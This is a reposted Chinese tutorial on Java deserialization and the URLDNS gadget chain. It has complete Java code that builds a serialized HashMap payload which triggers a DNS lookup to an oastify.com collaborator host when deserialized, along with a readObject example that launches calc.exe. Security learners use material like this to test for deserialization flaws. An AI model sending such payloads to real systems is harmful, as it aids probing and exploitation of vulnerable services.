JAVA URLDNS链分析利用

JAVA URLDNS链分析利用

认识Java反序列化知识

Java原生链序列化:利用Java.io.ObjectInputStream对象输出流的writerObject方法实现Serializable接口从而将对象转化为字节序列用于对对象数据进行存储转移

举例:

package org.example;//对象
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
  private transient String name;//transient表示不会被序列化带上后会发现后面name是null
  private int age;
  public Person(){

  }// 构造函数
  public Person(String name, int age){
      this.name = name;
      this.age = age;
  }
  @Override
  public String toString(){
      return "Person{" +
              "name='" + name + '\'' +
              ", age=" + age +
              '}';
  }
  private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException{
      ois.defaultReadObject();//调用ois.defaultReadObject()读取默认对象字段
      Runtime.getRuntime().exec("calc.exe");//代码执行命令Runtime.getRuntime().exec("calc.exe")
  }                                       //来调用计算器应用程序。
}//会弹出个计算机

序列化

package org.example;//序列化
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
public class SerializationTest {
  public static void serialize(Object obj) throws IOException{
      ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
      oos.writeObject(obj);//获得序列化数据生成ser.bin文件
  }
  public static void main(String[] args) throws Exception{
      Person person= new Person("aa",22);
      System.out.println(person);//打印
      serialize(person);              //序列化

打印并生成ser.bin文件。

能看出来一点点知道是序列化但要怎样解出来具体内容就要反序列化读取或者分析源码了。

反序列化

package org.example;//反序列化

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
  public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
      ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
      Object obj = ois.readObject();
      return obj;
  }

  public static void main(String[] args) throws Exception{
      Person person = (Person)unserialize("ser.bin");//反序列化强制转换类型
      System.out.println(person);//打印
  }
}

成功弹出计算机。 但实际上像 Runtime.getRuntime().exec(“calc.exe”);这种不会直接调用这种危险的方法的。

URLDNS链

URLDNS与版本无关,这个攻击是依赖于Java内置类。

URLDNS反序列化链只能发起DNS请求无法进行其他利用攻击可作为验证是否有反序列化漏洞。

源码

使用bp生成个链接。

package org.example;//正常urldns序列化
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.util.HashMap;
import java.util.Map;
import java.net.URL;

public class SerializationTest {
  public static void serialize(Object obj) throws IOException{
      ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
      oos.writeObject(obj);
  }

  public static void main(String[] args) throws Exception{
      HashMap<URL,Integer> hashmap= new HashMap<>();//new累
      URL url =new URL("http://ulj8wykdbqhab5ywew263gbyzp5kt9.oastify.com");//bp生成
      //Class c = url.getClass();
      //Field hashcodefield=c.getDeclaredField("hashCode");
      //hashcodefield.setAccessible(true);
      //int originalHashCode = hashcodefield.getInt(url);
      //hashcodefield.set(url,123);
      //int or = hashcodefield.getInt(url);
      //new之后 hashCode = -1 复制后 hashCode != -1就会发生dns请求

      hashmap.put(url,1);
      //int orr = hashcodefield.getInt(url);
      //hashcodefield.set(url,originalHashCode);
      //int orrr = hashcodefield.getInt(url);
//          如果在这个位置将hashCode 改回 -1 就不会发生dns请求从而可以通过dns请求是否发生来判断是否反序列化
//        Person person = new Person("aa",22);
//        System.out.println(person);
      serialize(hashmap);
  }
package org.example;//反序列化

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
  public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
      ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
      Object obj = ois.readObject();
      return obj;
  }
  public static void main(String[] args) throws Exception{
     unserialize("ser.bin");
  }
}

调试

先序列化运行一次尝试查看。

image-20230718150237706

我们运行后发现 **hashmap.put(url,1);**put后便发起了dns请求即会导致我们收到dns后无法判断该dns是不是反序列化发出的。

查找DNS的原因

ctrl+单机左键分别跟进函数。

URL

URL ——>public URL(String spec) throws MalformedURLException {
  private int hashCode = -1;//跟进这个发现当url被new出了 hashCode被赋值为-1

image-20230718161400289

image-20230718161743988

PUT

hashmap.put(url,1)
  put——>putVal(hash(key)
        hash——> (h = key.hashCode()) ^ (h >>> 16)
               hashCode

hashmap.put—-.>

k5hai-1311151548.cos.ap-shanghai.myqcloud.comk5hai-1311151548.cos.ap-shanghai.myqcloud.comk5hai-1311151548.cos.ap-shanghai.myqcloud.comimage-20230718150727563.png

k5hai-1311151548.cos.ap-shanghai.myqcloud.comk5hai-1311151548.cos.ap-shanghai.myqcloud.comimage-20230718150744365.png

hashmap.put—-.>hash—->

image-20230718162025962

hashmap.put—-.>hash—->hashCode—->

image-20230718162044876

image-20230718161400289

image-20230718163404677

hashmap.put—-.>hash—->hashCode—->getHostAddress—->

image-20230718163555629

当HashMap传入一个URL时,会进行一次DNS解析,并将hashCode赋值为-1 当进行put时就会触发dns。

调用hash(key)方法,此时也会判断key的hashMap,如果是-1则会触发一次dns请求所以假设我们可以控制hashCode的值当初次进行hashmap.put(url,1);时我们将其改为其他值,hashmap.put(url,1)后再将其改回**-1**这样就可通过DNS判断是否反序列化.这个需要引入Java中的反射的知识。

hashmap.put----.>hash---->hashCode---->getHostAddress--->DNS

Java中的反射

概念

Java中的反射是指在运行时动态地获取类的信息并操作类的成员(字段、方法、构造函数等)的能力。通过反射,可以在运行时获取类的信息,如类的名称、父类、接口、字段、方法等,并且可以通过反射的API来动态地创建对象、调用方法、访问和修改字段等。

Java的反射机制主要由以下几个类和接口组成:

Class类:表示一个类或接口,在运行时可以获取类的信息,如名称、父类、接口、字段、方法等。
Constructor类:表示一个构造函数,可以通过Constructor类来创建对象。
Field类:表示一个字段(成员变量),可以通过Field类来访问和修改字段的值。
Method类:表示一个方法,可以通过Method类来调用方法。

个人理解:

反射就是中途改一些定义好或者生成好的数值,当一个类。方法啥的在被调用是我们可以通过反射机制创造出一个一样的并且这个我们可以对其属性值进行更改。

反射优缺点

优点:

动态性:反射使得程序能够在运行时动态地获取和操作类的信息,而不需要在编译时就确定类的具体类型。这使得程序能够更加灵活和适应不同的情况。
扩展性:通过反射,程序可以动态地加载和使用不同的类,从而实现更好的扩展性。这在一些框架和插件系统中非常有用,可以让程序在不修改代码的情况下添加新的功能。
调试和分析:反射可以用于调试和分析程序。通过反射,可以获取类的结构信息,查看字段、方法、构造函数等的属性和值,帮助开发人员理解和排查问题。

缺点:

性能开销:反射通常比直接调用方法或访问字段的方式更加耗时。这是因为反射需要在运行时进行额外的检查和处理,包括访问权限检查、类型转换等。因此,在性能要求较高的场景下,反射可能不是一个好的选择。
安全性问题:反射可以绕过访问权限的限制,让程序可以访问和修改本来不应该被访问的类、方法、字段等。这可能会引发安全漏洞,因此在使用反射时需要谨慎处理权限控制。
可读性和维护性:使用反射可以让代码更加灵活和动态,但也会增加代码的复杂性和难度。反射的使用通常需要更多的代码和更复杂的逻辑,这可能会降低代码的可读性和维护性。

反射的用途

在反序列化中他的作用就是改属性值。

举例

源码

package org.example;//对象
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
  private transient String name;
  private int age;
  public Person(){

  }// 构造函数
  public Person(String name, int age){
      this.name = name;
      this.age = age;
  }
  @Override
  public String toString(){
      return "Person{" +
              "name='" + name + '\'' +
              ", age=" + age +
              '}';
  }
}
package org.example;//反射

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class Reflectiontest {
  public static void main(String[] args) throws Exception{
      Person person = new Person();//new一个对象
      //整个Class类对象
      Class a = person.getClass();
      //开始操作Class
      //a.newInstance();无参
      //a.getConstructor();有参
      //从原型class实例化对象
      Constructor person_constructor = a.getConstructor(String.class,int.class);
//选择合适的构造函数,根据参数类型选择构造函数(知道对象是一个名字一个年龄所以String.class,int.class)
      Person p = (Person) person_constructor.newInstance("小王",222);  //实例化一个类对象
      System.out.println(p);//打印

      Field  personfields =a.getDeclaredField("name");//获取Person类的私有字段name
      personfields.setAccessible(true);//获得私有成员的访问限制
      personfields.set(p,"小李");//将name字段进行更改
       System.out.println(p);//打印

      //下面是其他用法
      //获取类里面的属性
      //同时编辑多行 alt+shift+ins
      //      Field[] personfields = a.getFields();   //只能获得public类型的属性
      //      for(Field f:personfields){//打印
      //          System.out.println(f);
      //      }
      //Method[] aa=a.getMethods();//类或接口的所有公共方法
      //for (Method n:aa){        //批量打印
      //    System.out.println(n);
      //}
//        Field[] personfields1 = a.getDeclaredFields();   //可以获取public,protected,private属性
//        for(Field f:personfields1){
//            System.out.println(f);
//        }

      //获取特定的属性
      //Field namefield = a.getDeclaredField("sex");
      //如果遇到private属性,需要用这个,表示可以修改;而public 和 protected可以直接修改
      //namefield.setAccessible(true);
//        namefield.set(p,"aaa");
//        System.out.println(p);

      //获取方法,调用方法
      //得到所有方法
      //     Method[] personmethods = a.getMethods();
      //     for(Method i:personmethods){
      //         System.out.println(i);
      //     }

      //得到特定的方法
//        Method actionmethod  = a.getMethod("action", String.class);
//        actionmethod.invoke(p,"aaas");
//        System.out.println(p);
      //如果要调用私有方法,那么也是使用declared,还有setaccessible
  }
}

image-20230718184726771

注意:jdk9一搜可能出现。

image-20230718185016400

module java.base does not “opens java.lang” to unnamed module @1941a8ff//报错出现什么将什么替换
  --add-opens java.base/java.lang=ALL-UNNAMED//在编译配置中添加vm即可

module java.base does not “opens java.lang.reflect“ to unnamed module
  --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED

URLDNS攻击链

链子:HashMap类的put方法中调用了hash()方法->HashMap类的hash()方法中调用了hashCode()方法。

package org.example;//序列化
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.util.HashMap;
import java.util.Map;
import java.net.URL;

public class SerializationTest {
  public static void serialize(Object obj) throws IOException{
      ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
      oos.writeObject(obj);
  }

  public static void main(String[] args) throws Exception{
      HashMap<URL,Integer> hashmap= new HashMap<>();//开始
      URL url =new URL("http://qd7ybrqywdf1nej0k23pupu6lxrqff.oastify.com");//传入url
      Class c = url.getClass();//反射
      Field hashcodefield=c.getDeclaredField("hashCode");//获取hashCode参数
      hashcodefield.setAccessible(true);//获得私有成员的访问限制
      int originalHashCode = hashcodefield.getInt(url);//存一下初始值 -1
      hashcodefield.set(url,123);//修改hashCode的值
      int or = hashcodefield.getInt(url);//观察修改后hashCode的值
      //new之后 hashCode = -1 复制后 hashCode != -1就会发生dns请求

      hashmap.put(url,1);//put
      int orr = hashcodefield.getInt(url);//没啥用,只是为了在动态调试中观察put后hashCode的数值
      hashcodefield.set(url,originalHashCode);//修改回hashCode的值 -1
      int orrr = hashcodefield.getInt(url);//没啥用,只是为了在动态调试中观察hashCode的数值
//          如果在这个位置将hashCode 改回 -1 就不会发生dns请求从而可以通过dns请求是否发生来判断是否反序列化
      serialize(hashmap);
  }
}
package org.example;//反序列化
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
  public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
      ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
      Object obj = ois.readObject();
      return obj;
  }
  public static void main(String[] args) throws Exception{
//        Person person = (Person)unserialize("ser.bin");
//        System.out.println(person);
      unserialize("ser.bin");
  }
}

运行看一下:

image-20230718204643435

发现序列化后并没有发起请求。

反序列化

image-20230718205141538

可以观察到反序列化后发起了DNS请求,这说明我们的URLDNS链制作完成,我们可以通过DNS请求判断是否发生反序列化。

动调观察一下 hashCode的值。

image-20230718205903994

发现和我们设想的较为一致。

自此URLDNS链算是结束了,初始java反序列化感觉巨难但多看几遍自己调试几遍感觉也还可用哈!!!

本文作者:k5haioo, 转载请注明来自FreeBuf.COM

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/141614.html<

(0)
运维的头像运维
上一篇2025-03-04 11:56
下一篇 2025-03-04 11:58

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注